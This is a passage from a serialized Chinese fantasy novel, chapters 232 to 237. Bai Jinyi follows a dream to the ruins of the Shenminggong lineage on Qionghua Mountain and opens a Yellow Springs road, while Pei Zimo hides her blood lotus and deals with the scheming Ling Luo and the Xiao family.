凌珞虽然选了她,但是也是后来才发现,她的身体根本不适合种植血莲,所以才会提前帮她淬体,并且在培养她的所有的过程中,都从来不跟她透露任何一点关于圣女、血莲、“十一公”和北冥国的秘密这些事。 这些也是他早就跟她师父商量好的。 等她刚一继任圣女,她师父就立刻被凌珞派走办事。 让本该有的传承全都断掉,她什么都不知道,自然也不会质疑凌珞交给她的事情。 而她师父出去办的事,几乎都是在为她铺路,凌珞已经把所有的重心都放在了她的身上。 她师父开始逐渐的不平衡,不愿意自己一直在为人做嫁衣。 所以就开始在一些事上做了手脚。 在发现事情跟原定计划不一样了之后,凌珞就曾出去找过她师父。 她师父就躲进了琼华山。 因为她师父发现,凌珞不敢踏足琼华山。 虽然她一直不清楚原因,但进了琼华山,她才算是保住了自己这条命,只是没想到,会在琼华山里碰到裴子墨。 裴子墨想着也垂下眼,当时她看到师父,心里确实是欣喜的,如果不是她师父得知她的实力因为身体限制,完全不如从前,就对她下了杀心的话,她恐怕也不会去翻找这些秘密。 她抬手关了窗子,回到床铺上坐下。 从袖袋里拿出一个锦囊,把里面的东西倒在手心,是一粒丹药,这是当初苍幽给她的那粒隐莲丹。 上一次回北冥国的时候,她怕出了疏漏,万一死在北冥国,这药就浪费了,于是托白锦夜给鬼卿转交东西的时候,就一起交到了鬼卿的手上。 现在,大概是真的到了该吃的时候了。 裴子墨微微眯了眯眼,把隐莲丹放进了嘴里。 丹药入口,苦涩里带了几次甜,也不算是太难吃。 不过片刻之后,全身就开始隐隐的发热,最后到处都像是针扎一样的疼,就像是无数根针,沿着每一个毛孔刺入。 但也没有持续太久,这样的感觉就在慢慢收缩,逐渐收向肩头的莲花,最后消失不见。 等到没有一丝感觉之后,裴子墨走到镜子前面,拉开衣领,果然什么都没有了。 隐掉血莲,比当时从裴清歌的身体里剥离血莲要轻松多了。 她在裴清歌的身上重生,完全没有想过,会把血莲一并带过去,所以等她打算离开的时候,自然得先剥离血莲,人才会死,她的魂魄才能离体。 那剥离血莲之痛,她这辈子都不想再承受一次。 现在她身体上的血莲还没有开始养,依旧只是个花骨朵,既然没养,那就再也不要养了。 这世上,也不该再有妖莲了。 想到这,裴子墨的嘴角又露出一抹笑,不知道凌珞看到她身上的血莲消失,会是什么样的表情。 他镇压着那朵不能控制的妖莲,又想再养出一朵可以控制的妖莲。 这世上,哪有这么好的事呢? 第232章 梦中引路 一晃,白锦夜和萧尺寒进入琼华山,就已经一个月了。 一开始,是按照裴清歌通过桑榆转交的信里的地图往前走,但是从昨天开始,地图就已经没有了。 裴清歌也是走到这里,就没有再往前走。 他们进山的时候,天还有些炎热,现在早晚都已经开始冷了。 白锦夜看着面前的火堆,像是在发呆。 萧尺寒靠在一边的树上,手里把玩着一段树枝,“没有地图,接下来就只能慢慢往前走了。” “嗯。”白锦夜应了一声,他在京中处理完裴清歌的后事,萧公瑾就找上了门,对裴清歌的事情表示歉意。 虽然没有明说,但是萧公瑾的意思,是他已经知道了裴先生是个女子,从白锦夜的状态看,两个人是什么关系,也不用说得太直白。 萧公瑾没想到破阵的代价会这么多,便说之后白锦夜若是有什么事,都可以来找他。 白锦夜也没多说,只说自己稍后就会离开京城。 他也没有时间一直照顾锦成,就让榆北找人,送锦成去西河城,让他到西河城以后,自称张璟成就好。 他知道,只要张璟成这个名字从西河城传出来,萧公瑾大概也能明白什么,到时候保护锦成的事,就交给萧家了。 所以他也就叮嘱了萧公瑾,让他多关注西河城,说不定会有什么收获。 话没说的太死,萧公瑾以为是裴清歌之前留下的话,又千恩万谢了一番,最后问他离开京城去哪。 白锦夜在这个问题上犹豫了会,但是想着萧公瑾之前给他们讲过的事情,对“十一公”的事情也算是了解,就说了自己要去琼华山。 听到这个地名,萧公瑾的脸色凝重了很久,只是问他是非去不可么。 他也就说了是裴清歌死前叫他去的,所以他一定得去。 萧公瑾当时也没说什么,只是第三天萧尺寒上了门,说是要跟他一起来琼华山。 萧尺寒多少会些术法,在一般情况下,也能算是个帮手。 而且大概萧公瑾也交代了萧尺寒什么,所以这一路上,萧尺寒从来都没有问过他要去哪,要去做什么。 沉默了会,萧尺寒才说,“出发之前,我爷爷跟我说,‘十一公’里,有一脉曾经很多年都住在琼华山,这琼华山看着虽然普通,可却也不是什么人都能踏足进来。” 白锦夜从火堆上移开目光,转头看向萧尺寒,“你爷爷倒是知道的不少。” “他说琼华山上,有当年无数前辈设下的法阵,那一脉来这里,是为了躲避仇人的。不过他们来了这里之后,就和外面失联了,之后很多年都没有再出现过。”萧尺寒继续道,“你来琼华山,就是为了找他们吧?” “算是吧。”白锦夜点点头,“我有很重要的事情。” 萧尺寒笑了笑,也转头看向他,“你想复活裴先生么?” “为什么这么说?”白锦夜微微皱起眉。 “之前,我爷爷跟你和裴先生说过‘神冥公’一脉的事情,他们可以通阴阳,也许可以把人从鬼门关里拉回来。我们只知道肃亲王是这一脉的后人,一直在找他,其实说不定他就有这样的能力,我们的目的,应该是一致的。”萧尺寒继续道。 白锦夜收回目光,继续看着火堆,怪不得萧公瑾让萧尺寒过来,大概是觉得他放不下裴清歌的死,想要找办法让她起死回生,而他们所知的,也只有“神冥公”的后人有这样的能力。 换句话来说,他们其实没有必要一定要找到肃亲王。 只是因为肃亲王是他们已知的唯一一个“神冥公”的后人。 所以让萧尺寒跟着他,就算找不到肃亲王,能找到“神冥公”其他的后人,也是一样的。 “只要是‘神冥公’的后人,就一定都会有这样的能力么?”沉默了会,白锦夜开口问道。 “那也未必,就像我们一样,跟天份和资质都有关系,如果都能从鬼门关拉人,那地府也不能同意不是?”萧尺寒说着顿了会,“但是……就算我们找到了人,他也能从鬼门关拉人,也必然要付出代价,你想过这个么?” 白锦夜从旁边捡起几根树枝,扔进火堆里,“如果能把她拉回来,付出什么样的代价我都愿意。” “这么一说,我还觉得挺奇怪的。既然你们感情这么好,为什么一开始要装作不认识的样子?”萧尺寒又问,“而且你们平时好像也很少往来。” 这一次白锦夜没有回答,而是找了个姿势,躺下睡了。 萧尺寒看了他半响,把手里的木枝扔到一边,也闭上了眼睛。 睡到半夜,白锦夜感觉自己的头像是被石子打了一下,他睁开眼,却什么都没看到。 看了一圈,发现萧尺寒也不见了。 他皱起眉,坐起身,仔细地感受了半响,也没感受到萧尺寒的气息,这个时候,又一个石子打过来,打在他的肩膀上。 他转头朝石子打来的方向看过,犹豫了会,才起身朝那边走过去。 他在周围也感受不到任何人的气息,但是只要他的脚步停下来,就会有一个石子打在他面前。或者他的路线如果偏离,对方也是靠石子提醒,跟着石子的提示,不知道走了多远,就再也没有石子打过来了。 他找了一大圈,也没找到是什么人在提醒自己。 正准备往回走的时候,就见到有一处掩藏在草丛中的断壁。 他走过去,扫开杂草,确实是一处像是院墙的遗址。 在这深山老林里,他们都已经大半个月没见过人影了,突然见到有过居住的痕迹,是什么地方,就已经昭然若揭了。 就是这里了么? 白锦夜正要再好好仔细查看的时候,突然感觉有人在用力的摇晃自己。 他有些费力地睁开眼睛,抬手挡去刺眼的阳光,便见到萧尺寒蹲在他旁边。 “你怎么睡得这么死?要不是看你还喘气,我都快以为你死了。”萧尺寒拧着眉,脸色也不算太好,“叫了你半天,一点动静都没有,吓死我了。” 白锦夜有些茫然地坐起来,发现自己还是在昨晚睡着的地方,身边的火堆早就只剩下碳灰。 萧尺寒伸了个懒腰站起来,“粮食可不多了,再找不到,那就只能山上有什么就吃什么了。” 白锦夜转头向昨晚他跟着石子走的方向看去,微微愣了会,站起来就往那个方向走。 第233章 是你引我来的? “诶,诶,怎么了?”萧尺寒怔了一下,赶紧跟了上去。 白锦夜没有回答萧尺寒的话,只是按照记忆往前走。 这条路他以前是肯定没有走过的,但是他在梦里的细节却全都记得,跟这条路也能对上。 只不过梦里像是只走了一个晚上,可是真的要走起来,就没有那么近了。 一直走到中午,按照他的记忆,也才走了一小段而已。 看样子是不可能很快走过去了,他也就停下了脚步,转头看着一边走路一边啃干粮的萧尺寒。 萧尺寒也顺手递过来一个,“你不饿么?” 白锦夜确实可以不吃,但是如果他一直不吃东西不睡觉,萧尺寒肯定也要起疑。 他接过了干粮,顿了顿才说,“昨晚我梦到有人给我引路,就是朝这个方向走,反正没有地图,剩下的路也不知道该怎么走,就去看看吧。” 萧尺寒咽下嘴里的东西,“那你倒是说一声,我还以为发生什么事了呢。” 白锦夜找了个平地坐下,所以昨晚还真是奇怪,这么久以来,他的梦里第一次出现了变化,是因为接近“神冥公”一脉的旧址了么?他受到了影响,还是说,因为血脉的缘故,那里也在吸引着他过去? 两个人的速度不算慢,但是也足足走了六天,才到了白锦夜梦里到过的地方。 这是在一片谷底,地势平坦,也足够宽阔,若是在这里建房子,倒是个好地方。 白锦夜扫开草丛,确实也见到梦里见过的院墙,“应该就是这里了。” 萧尺寒也蹲下来看着院墙,“确实,这里肯定有人住过,可是……就算人都走了,房屋院墙坍塌,这地面上也总该留下点其他的痕迹,但除了这几处院墙的根基,怎么就什么都没有了?盖房子总需要瓦片木梁吧?” “深山里,估摸着也不会用太复杂的材料,若是倒塌了,可能也就腐烂了,只不过这院墙是用泥土垒的,所以还能看到根基。”白锦夜一边四处寻找着一边开口道,“而且也不知道过去多少年了,还能剩下一点痕迹已经很好了。” 萧尺寒看着他,“那也就是说‘神冥公’一脉的人早就不在这了?这里只剩下些遗址了,肯定不会有活人了。”他说着有点失望,一屁股坐在地上。 “嗯。”白锦夜应了一声。 “那你在找什么?他们难道会在这里给你留下一行字,告诉你他们搬去哪了?”萧尺寒又问。 白锦夜转头看了看他,“找一找,万一他们留下过什么东西呢?再说,我梦里既然有人引着我们来了这,就一定是有什么目的,就算他们人不在了,魂魄可能还在。” “倒也是。”萧尺寒又站起身,跟着白锦夜一起,一寸一寸的沿着院墙开始搜索。 这一搜索,就搜索了好几天,草木正是茂盛的时候,割开草木查看地面,要费上不少的功夫。 到了第八天傍晚的时候,萧尺寒的耐心快要耗尽了,他正要跟白锦夜说什么,目光突然看向远处,随即慢慢地挪到白锦夜的身边,抬手捅了捅他。 白锦夜看了看他,又顺着他的目光看过去,不远处的草木,无风自动。 萧尺寒的手上捏了几个印诀,低声道,“裴先生不会什么防身的东西都没给你吧?我万一顾不上你的时候,你多保重。” 白锦夜抿了抿唇,摸出了凌迟刀。 萧尺寒的目光落在刀上,端详了一会,才道,“刀是好刀,但也不能常用。” 白锦夜知道他这是认出了凌迟刀,常人确实不能常用,但是裴清歌也说过,这对他来说,没什么影响。 两个人的周围也很快起了风,天色越来越暗,白锦夜也只能凭着感觉对抗靠近的危险。 好在他的刀上有刀魂,倒也不算是盲目的攻击。 只不过没一会他就看不见萧尺寒在哪了,虽然偶尔能听到某个方位传来声音,知道萧尺寒大概在那边对敌,但他只要想往萧尺寒那边去,就会被无形的力量挡回来。 一记重击击在他身上,他倒在地上,还不等起身,就被什么东西抓住了脚腕,朝树林里面拖去。 他只好把凌迟刀插进土里,想要阻止被拖动的力量。 但对方的力量也极大,凌迟刀都已经全根没入了,他还是被拖着在地上划出深深的痕迹。 被拖行的时候,他感觉到刀刃顿了一下,不过凌迟刀还是很快切断了阻碍的东西,他当时还觉得,大概是这刀太锋利了,没办法阻止他被拖拽,正在想其他的办法的时候,地面突然塌陷,他一下子就掉了下去。 而抓住他脚腕的力量也瞬间消失,好在这塌陷也不算太深,他就摔到了下面一层的地面上。 他站起身,仰头往外面看了看,那些他看不见的东西似乎对这个深坑有什么忌讳,并没有跟进来。 他喊了几声萧尺寒的名字,萧尺寒那边也没有回应。 他微微皱了下眉头,转身看着自己掉下来的这个坑。 四周都是空荡荡的,什么都没有,他微微眯起眼,朝着一个方向走过去,走了片刻,就到了尽头,他抬手摸了摸墙壁,墙壁很光滑,应该是人工的痕迹。 所以地面上虽然有院墙,但是实际上遗址并不在地面,而是在地下么? 只不过这两天他和萧尺寒也敲击过地面,并没有听出下面是空的,也没挖到过什么。 看样子当年“神冥公”的后人躲在这,为了安全起见,也做了不少保护踪迹的措施。 正想着,塌陷的洞口出就传来萧尺寒的声音,“楚兄,你在么?你是掉在这下面了么?上面没有危险了,你先上来还是我下去?要搭把手么?” 白锦夜正要出声答应,突然被人从背后捂住了嘴。 这人接近得悄无声息,他甚至连一丝气息都没感觉到! 不过对方像是也没有对他动手的想法,大概只是不想让他出声。 他停顿了会,转头看去,身后的人,并不陌生。 就是他之前在梦里频繁梦到过的那个女子,只不过她似乎也有很长一段时间没到过他的梦里了,“是你?”白锦夜有点差异,“是你引我来这的?” 第234章 黄泉路 裴子墨没有说话,拉着白锦夜走到远处的角落里才停下来。 白锦夜微微有些欣喜地看着她,“你能出现在我梦里,又能引我来这,你是‘神冥公’的后人?” “我不是,也不是我引你来的。”裴子墨微微皱了一下眉头,她给白锦夜的地图只有一部分,后面她是没办法走下去了,看样子后面这段路,确实是“神冥公”的后人才能找到,“我在这里待不了太久,你记住我说的话。这里虽然到处都有一些看起来有人居住过的痕迹,或者一些房屋坍塌的遗址,但是这些不是你要找的。” “你要找的地方,根本不在这个世界,是需要通过黄泉路才能到的,你得想办法,把黄泉路从你梦里引出来,并且能控制它,才能走到你要去的地方。” 她说着朝不远处看了一眼,又继续道,“别相信任何人,现在你身边的人,都有各自的目的。” “那你到底是谁?”白锦夜看着她轻声问道。 裴子墨没有回答这个问题,只是说,“白锦夜,你只能靠自己了。” “那我又为什么要相信你?”白锦夜皱起眉头。 “你可以不相信我,但是……你不能对不起裴清歌一条命。”裴子墨说完要离开,却被白锦夜抓住胳膊。 “你什么意思?”白锦夜捏着她手腕,力道极大,像是要捏碎一般。 裴子墨又向他身后看了看,语速也微微加快,“你们这支血脉,并不是谁都能打开黄泉路,不知道要隔多少年,才能有一个人有这样的能力。但你若是生活安逸,这血脉发挥的用处也不大,从古至今,但凡你这样的血脉能养成的,都是失去至亲至爱之人。” 白锦夜微微拧起眉头,“你的意思,是裴清歌也知道了这一点,所以她才会……” “是,她还等着你去救她。”裴子墨的话音落下,不远处就传来萧尺寒的声音—— “楚兄,是你在前面么?” 白锦夜还没回答,手中一空,面前的人就凭空消失了。 他抿了抿唇,之前她在他梦里的时候,就说她已经死了,所以刚才只是魂魄么? 站了会,他才转过身,看着走近的萧尺寒,“外面的都解决了?” “嗯。”萧尺寒应了一声,“不知道是哪来的遣鬼,看样子我们这一路上都在被人跟踪,我们找到了这里,对方这是也知道了,才会让遣鬼现身,打算杀人灭口。” 白锦夜看着他,“多亏了萧公子,如果只有我自己,恐怕要麻烦不少。” 萧尺寒四下看着,“举手之劳。原来遗址不在地上,而是在地下。” “看起来是的。”白锦夜点点头,“我也是刚才误打误撞进来。” “怪不得这么多年我们在上面都一无所获。”萧尺寒从怀里拿出火折子点亮,“可在上面好像也感觉不到这下面是空的,现在看起来,还多亏了这些遣鬼。” 萧尺寒转了一圈,从墙上找到了两个火把,点燃之后,交给了白锦夜一个。 火把照亮了四周,眼前像是一个大殿,除了几根柱子以外,就是四周的墙壁。 两个人在四处查探了一番,最后发现了一处极为隐蔽的暗门。 可打开暗门,后面只有一块小小的平台,之后就没有路了,再往远处,黑乎乎的也看不清有什么。 看着眼前的万丈深渊,萧尺寒拧着眉,“这是什么情况?难道要爬下去?” 白锦夜看着面前,大概也知道,应该就刚才那个女子说的,后面的路,要靠黄泉路才能走,他需要把黄泉路引出来。 他回忆了下之前两次黄泉路被他引出来的情况,都是把原有的地面变成了黄泉路,所以一定不是那样的情况。 要把黄泉路沿着一个方向延伸,即便是空荡荡的地方,也能造出来一条路。 白锦夜沉默了会,在原地坐下,想着之前张明彻的那本书。 张明彻说,他修炼到最后,觉得有些地方不对,但是也不知道为什么,大概就是因为他梦里的并不是黄泉路,所以他没有办法继续修炼。 而当年只有张明彻一个人活下来,身上又带着这唯一的一本书,这本书里肯定有打开通路回旧址的办法。 萧尺寒也没想到眼下是这样的情况,看着白锦夜原地坐下,还以为他受到了打击,“楚兄,你别急,咱们再想想别的办法。” 白锦夜没有说话,那本书,他已经可以完全背下来,反正对他来说,时间有的是,所以现在也就从头开始慢慢回忆。 萧尺寒不知道他在干什么,但是觉得也不能就这样坐着,于是便在空旷的大殿里继续四处搜寻,看看能不能找到别的通路。 等大殿里面转完,萧尺寒又跑到地面上去寻找起来。 可几天下来,一无所获。 “楚兄,我接到家里传来的消息,说我们一直找的那个人找到了。”萧尺寒从地面上跳下来,开心地朝白锦夜跑过来。 白锦夜微微皱了下眉头,转头看过去。 萧尺寒看着他,“别坐在这了,跟我一起去吧,说不定他那边有什么办法。” 白锦夜知道,估摸着他们这是听到了锦成的消息,而且过了这么久,肯定是确认过,才会给萧尺寒传信,他摇了摇头,“你家里若是有事,就先回去吧,她死前叫我来这里,一定有来这里的原因,我不走。” 萧尺寒盯了他半响,知道也没办法勉强他,犹豫了会,把现在有的粮食和水都给他留了下来,“楚兄,那你一个人在这小心,我得回家去看看,你也知道我们家的事,如果他要和我妹妹成亲,我也不能不在。” 白锦夜点点头,“这一路多谢萧公子陪着我了。” “哪有,裴先生也是因为……”萧尺寒说着停了停,没再往下说,“那楚兄多保重。” 白锦夜转头看着萧尺寒离开,直到感受不到他的气息才收回了目光,抬眼继续看向面前的深渊,在他的身前,一道只有他能看到的路正在慢慢延伸,虽然也不过只延伸了丈余就停了下来,但这已经证明,他已经开始成功了。 他轻轻抿了抿唇,重新闭上眼。 第235章 华精玉 “他已经进去了。”凌珞一边进院子,一边开心地道。 裴子墨猛地睁开眼睛,站起身,扫了扫衣摆上的褶皱,往外迎了出去。 “子墨。”凌珞满脸都是笑意,“这一次多亏了你。” “该恭喜你了。”裴子墨看着他道。 “倒是出乎我的意料,没想到他这么快就能进去。”凌珞继续道,“不过他进去了,也不过就是个开始,后面还有更多的事。” 裴子墨带着凌珞进了房间,给他倒了一杯茶,低声问道,“里面到底有什么东西?” 凌珞大概很多年都没有这么开心了,裴子墨问起,他也就多说了几句,“‘十一公’继承九天玄女的术法,之后一直有两件事要去做,第一件事,就是帮助当权者统治王朝,帮他们预测国运,躲避祸事。” “但是王朝发展,也没办法保证当权者一直都励精图治,真的碰上那些昏晕无道多年,整个王朝从根上就烂了的,实在是扶不起来,就另立明主。所以在王朝更迭间,一直都隐约能见‘十一公’及其后人的踪影。” “第二件事,就是重现九天玄女血脉,能够让她重新归于仙界。” “这两件事,其实一明一暗,前者这么多年已经形成了一定的规律和规矩,也没人乱来。但是后面这件事,因为这么多年都没有人能办成,所以每一个步骤都在摸索。” “而最接近的一次,其实就是第一任圣女,当年她身上的血莲培植成功,已经开始渡仙劫了,若是不出意外,那次其实就该完成这个使命了。” 裴子墨在凌珞的旁边坐下,犹豫了下,才问,“我听萧公瑾说,血莲是妖莲,只有在‘十一公’后人身上觉醒的血脉,才是真正的血脉。” “哼。”凌珞轻哼了一声,“他懂什么?‘十一公’是黄帝之子,他们是黄帝的后人,黄帝只是九天玄女的徒弟,九天玄女的血脉怎么可能在他们身上觉醒?” 裴子墨微微摇了摇头,“我不懂。” 凌珞抬眼看了她会,像是思索了会,才道,“‘十一公’的子孙里,曾经有两个人天份极高,最得九天玄女喜爱,从小就被她带在身边,亲自教导,这两个人也因此生情,他们的婚事,就是九天玄女主持的。” “作为新婚贺礼,九天玄女送了他们两粒莲花的种子,从此在他们某一支身上,就会偶尔觉醒这种莲花血脉,只不过这莲花养成养不成,用处没有那么大,即便是养成了,也不过就是强身健体,养不成,也没什么影响。” “一开始那些年,这是殊荣,毕竟能被九天玄女这样照顾的也就只有这两人。但就是因为觉醒得太少,所以传来传去,传得好像有多重要一样。” “那为什么又会有妖莲一说?”裴子墨又问。 说到这,凌珞轻轻地叹了一口气,“传说中九天玄女陷入沉睡,在她卧睡之地生出一红色水池,水池中没有其他的东西,只有莲花。此后世人便用水池中的莲花种子移植到合适的人体内,试图唤醒九天玄女的血脉,不过九天玄女的血脉太过强横,哪有普通人受得住?” “这才是北冥国选圣女的原因么?”裴子墨看着她,“我们这些人,都是被选中的,试图唤醒九天玄女血脉的?” 凌珞点了点头,又道,“其他算是天生合适,不过你只能算是勉强合适,若不是提前淬体,你也过不了血莲晶露那一关。”顿了顿,他才继续道,“当年的妖莲,其实也不能算是失败,只不过血脉唤醒之后,却缺少一样东西,导致没有神智,才会嗜血嗜杀。” 裴子墨微微眯了下眼,“所以,能唤醒神智的东西,在‘神冥公’的遗址里?” “是。”凌珞笑了笑,“当年大概‘神冥公’的后人发现了一些事情,他们家族内部发生了极大的矛盾,分裂成两支,一支就是现在的袁家,另外一支就离开了,只不过他们离开的时候带走了那样重要的东西。” “他们发现了什么?”裴子墨皱起眉头,“唤醒九天玄女血脉,不就是‘十一公’后人要做的第二件事么?他们为什么背离了初衷?” “我也不太清楚,总之他们一开始拒绝再参与这件事,甚至不再为养血莲提供血液,不过当年‘神冥公’的后人也多,人多了就会有意见分歧。”凌珞说着看向裴子墨,“所以现在白锦夜既然进了旧址,应该就能找到那样东西了,子墨,你得去把那样东西带回来。” “我?”裴子墨笑了笑,“白锦夜根本就不认识我,怎么会把东西给我?再说,我也不知道是什么东西,我怎么能确保带回来?” “是一块玉石,叫华精玉,这种玉石生长在地府冥界,在这个世界上,就只有‘神冥公’那里有一块,是当年他打开鬼门关之后,亲自去取的。不过这种东西,地府也不愿意被活人取走,所以在‘神冥公’本人之后,即便他们这一支还有人能打开鬼门关,也没人能再得到华精玉。”凌珞解释道。 “不过你要问我这块玉石长什么样子,那我就不知道了。但是我能确定它一定就在那片旧址里面,这块玉石也只有‘神冥公’的后人可以拿起,其他人只要碰触,就会被吸走魂魄。” 裴子墨垂下眼,半响才道,“如今这世上,圣女就剩下我,还有一个不知道死活的裴姝,如果拿到了华精玉,你打算在我们两个谁的身上觉醒血脉?” 凌珞轻声笑了笑,“子墨,这种事,自然是落在我们自己人身上,我为这件事奔波了无数年,你可是我看着长大的,这件事里你的功劳又最大,你说……眼看着成仙的好事就在眼前,还要便宜别人么?” 裴子墨微微皱起眉,“可只有‘神冥公’的后人才能养血莲……你也是‘神冥公’的后人?” 第236章 你曾经可是说过,要嫁给我的 凌珞看着裴子墨,没有回答她这个问题,但他的表情却已经给了裴子墨答案。 裴子墨轻笑了一声,“其实我也早该猜到的,你活了这么多年,也许只有‘神冥公’一脉才能做到。”她说着顿了下,“我师父死前跟我说,她是为了躲你,才进了琼华山,因为她发现,你不能去那个地方,这么说来,当年躲进琼华山的那一支‘神冥公’的后人,知道即便是其他人进了旧址,也没办法取出华精玉,所以他们防备的,就是你。” 凌珞捋了捋自己的袖口,“也不能这么说,他们进琼华山的时候,我都还没有出生。” “袁家……根本就是你们推到前面的傀儡,说不定只是‘神冥公’血脉之中,比较边缘的一个家族,而你或者你之前的人,一直以少祀官的身份出现在北冥国,把控着所有事情的走向。可笑袁家还以为自己有多么重要,这么多年都是在给别人做嫁衣。”裴子墨说着给自己倒了一杯茶,“我还挺庆幸,我对你还有用处,不然……我知道了这么多,恐怕下场好不到哪里。” “怎么会呢?”凌珞笑着拉过裴子墨,把她拉到自己的腿上坐下,“子墨,在这个世上,任何人都可能会骗你、伤害你,只有我不会。”他说着也抬手拉开她的领口,看着她的肩头,眸光骤然缩紧,语气里带着几丝震惊,“你的血莲呢?” 裴子墨垂下眼,“我也正打算跟你说这件事,我在裴清歌的身体上醒来之后,血莲就跟着我一起去了,当时一次偶然的机会,白锦夜的血流到了莲花上,那朵莲花就开始温养,后来已经是半开了。” “可你也知道,如果血莲一直都在,我的魂魄就没办法脱离裴清歌,我只能把血莲的种子剥离出去,但也不知道是不是因为受这个影响,我这一次醒来之后,身上的血莲花骨朵就没有了。” 凌珞捏着裴子墨的手慢慢缩紧,像是要把她的骨头都捏碎一样,隔了很久气息才平和下来,他的手指轻轻地抚着她的肩头,“这件事,以前也没有做过,我也没想过可能会出现这样的结果,不过没关系,当年我能在你身上种下血莲,就还能种第二朵。只不过……子墨,到时候可就要委屈你了。” “承受一次血莲种子剥离之苦,再种下血莲的时候,恐怕也没有那么轻松。你放心,这件事我会来解决,你先去找白锦夜。” “好。”裴子墨站起身,慢慢地整理好自己的衣服,“如果实在不成,也没必要勉强,毕竟还有裴姝,你从小就这样照顾我,我能帮你做这么多,已经没什么其他的要求了。” 凌珞轻笑一声站起来,“裴姝也不见得合适,以她现在的情况,大概也没办法再接受淬体了,上次她被袁澈带走逆天改命,现在整个人就剩一口气,而且整个人也苍老得就像百岁老人。再说,我对她也没什么感情,可做不来什么太亲密的事。” 裴子墨微微抿了下唇没有说话。 凌珞抬手拉住她的手,“还是,子墨,你已经忘了,你曾经可是说过要嫁给我的。” 裴子墨把自己的手抽回来,回到自己的位置上坐下,“我那时年纪小,再说……”她微微停顿了下,“如果再移植血莲种子,我怕我承受不住,上次剥离血莲的时候,我都恨不得直接死了。” “你小时候可不怕痛。”凌珞笑道。 “那时候……不是为了活下来么?”裴子墨抬眼看他,“可哪知道活下来,到现在,还要经历这些?” “你放心吧,我会找到最稳妥的办法。”凌珞看着她。 “好。”裴清歌沉默了会,站起身,“那我现在就去琼华山了。” 凌珞点了点头,目送着裴清歌离开。 * 和裴子墨一起到琼华山的,还有萧家。 萧公瑾找到锦成的时候,他自称“张璟成”,这名字和长相,显然都是白锦夜本人。 况且左辞等人也一直跟在他身边,无疑也是确认了他的身份。 只不过要把他带回京城,可不是容易的事,萧公瑾思前想后,就决定暂时先留在西河城,并且让萧忆翎等人先来西河城汇合。 萧公瑾也观察了很久,发现原来的肃亲王妃并不在西河城,也从未听任何人提起,所以对于撮合萧忆翎和张璟成的事,他又有了几分把握。 但时间一久,萧公瑾多少也感觉出来有些不太对劲。 他隐隐的怀疑,眼前的人并不是真的白锦夜。 于是他就开始旁敲侧击,他能感觉到这个人血脉也没有问题,可就是哪里不对,直到有一次萧忆翎无意间问起了裴清歌的事情。 虽然他们为了白锦夜的血脉,即便明知道他曾经成亲,有过王妃,也不能太过在意这件事,但是在他娶萧忆翎之前,也总该弄清楚宅院之事吧? 可眼前的“张璟成”对裴清歌这个名字一无所知,像是完全没有听过一样。 萧公瑾顿时就知道,眼前的人,即便也是‘神冥公’的后人,但是绝对不是白锦夜! 不过其实他有着血脉,不是白锦夜,对萧家来说,也没什么不可以。 萧公瑾躺在床上翻来覆去睡不着的时候,突然灵光乍现,一下子就想通了事情的来龙去脉。 那位裴先生是个女的。 已经十几年不联系的楚家的楚星玄突然出现在盛京,就算他对他的身份起疑,也根本无从查证。 偏偏这个“楚星玄”跟“裴先生”像是夫妻。 又是“楚星玄”告诉他他们要找的人可能在西河城。 那么,如果“裴先生”就是裴清歌呢? 岂不是说“楚星玄”就是白锦夜? 他们出现在京城,是为了做什么事,要隐匿身份,平时也很少往来。 想到这,萧公瑾当即就决定带着家人来琼华山。 甚至他还带上了张璟成一起,就算白锦夜这边不成,张璟成也算是个兜底的。 只不过他们跟着萧尺寒到了那处地下的大殿之后,小平台上只有萧尺寒留下的那些吃的和水,完全没有白锦夜的身影了。 看着前方的深渊,萧公瑾微微眯起眼,“难道他已经进去了?” 第237章 十一族延续与否与我何干? 裴子墨和萧家人都奔着同一个地方去,又只有同一条路,自然难免碰上。 一开始互相之间也没什么交集,但是进了大殿以后,就出了问题。 萧家人这会自然不愿意让别人来横插一脚。 萧尺寒打量着裴子墨,微微思索了半响,“之前的遣鬼都是你派来的吧?” 裴子墨没有回答,遣鬼上有她的标记,萧尺寒和遣鬼交过手,能感觉到跟她有关系也没什么不对,她看着前面的黑暗,只是说,“怎么,你们也打算进去?” “爷爷,不能让她进去,之前那些遣鬼都是下杀手的,她肯定不安好心。”萧尺寒转头看向萧公瑾低声道。 萧公瑾微微皱起眉头,隔了会才说,“先找到路再说吧。” 如果连路都找不到,双方就在这里对峙,对谁都没有好处,而且说不定对方能比他们更快找到进去的路。 等路找到了,倒是再做打算不迟。 “可是这附近我都转过了,并没有找到路。”萧尺寒拧着眉,“也不知道肃……他是怎么找到的路。”说着他低头查看了下地面上的吃的和水,“而且这些食物好像和我留下的时候一样,没有什么变化,难道我刚走他就找到进去的路了?” 裴子墨扫了一眼那些食物,白锦夜是冥尸,身边没有人,不需要怕被人起疑的时候,自然没有必要吃东西。 他们正说着话,便见黑暗之中,一个白点在慢慢接近。 几人立刻停止了对话,朝白点看过去。 近了才发现是个人影。 他走的不疾不徐,脚下看不到路,整个人就像是凌空而行。 裴子墨眯眼看着他,他没有再带着面具了,而且气息也有一丝异样,她微微皱起眉头。 看着对方就凌空站在距离平台丈余远的地方,萧公瑾也终于确认了自己的猜测,果然这个才是白锦夜。 而且这里本来就没什么路,大概只有“神冥公”的后人才有什么办法可以走过去。 他抬手抱拳,“肃亲王,别来无恙。” 站在后面的萧忆翎也往前走了几步,脸上带着一抹欣喜,虽然她之前见到的“张璟成”跟白锦夜长得一模一样,但就是感觉哪里不对劲。 如今真的见到白锦夜本人,才知道,就算外貌上分辨不出来什么,可神情气质总是不一样的。 一个在战场上厮杀过、能和皇上处处周旋的人,又怎么可能会是普通人? 白锦夜只是看了看面前的这些人,语气颇淡,“你们最好赶紧离开这。” “肃亲王……” 萧忆翎正要上前,却被萧公瑾拦住,“肃亲王,老夫知道你做这些,是为了裴先……是为了王妃,或许这件事上老夫也可以略微帮上些忙。” “不必。”白锦夜拒绝,说完就要转身回去。 “肃亲王!”萧公瑾赶紧叫住他,“‘神冥公’这一支到你们这里,怕是没什么别的人了,传承早就断了,但是我们萧家的传承从来没有断过,我们十一族血脉想通,也许我们这里有什么是你需要的。” 白锦夜的脚步顿了顿,转头看过去,简单地问,“条件?” “你知道我们的苦衷,之前的事情我毫无保留的都跟你说过了,只要你和阿翎……”说到这萧公瑾又赶紧补充,“我知道你和王妃伉俪情深,阿翎也不会想要取代王妃的位置,只不过是为了十一族的延续。” “呵。”白锦夜轻笑一声,“十一族延续与否与我何干?”说完他的目光也落在锦成的身上,“再说,又不是非我不可,你们不必再来找我。” 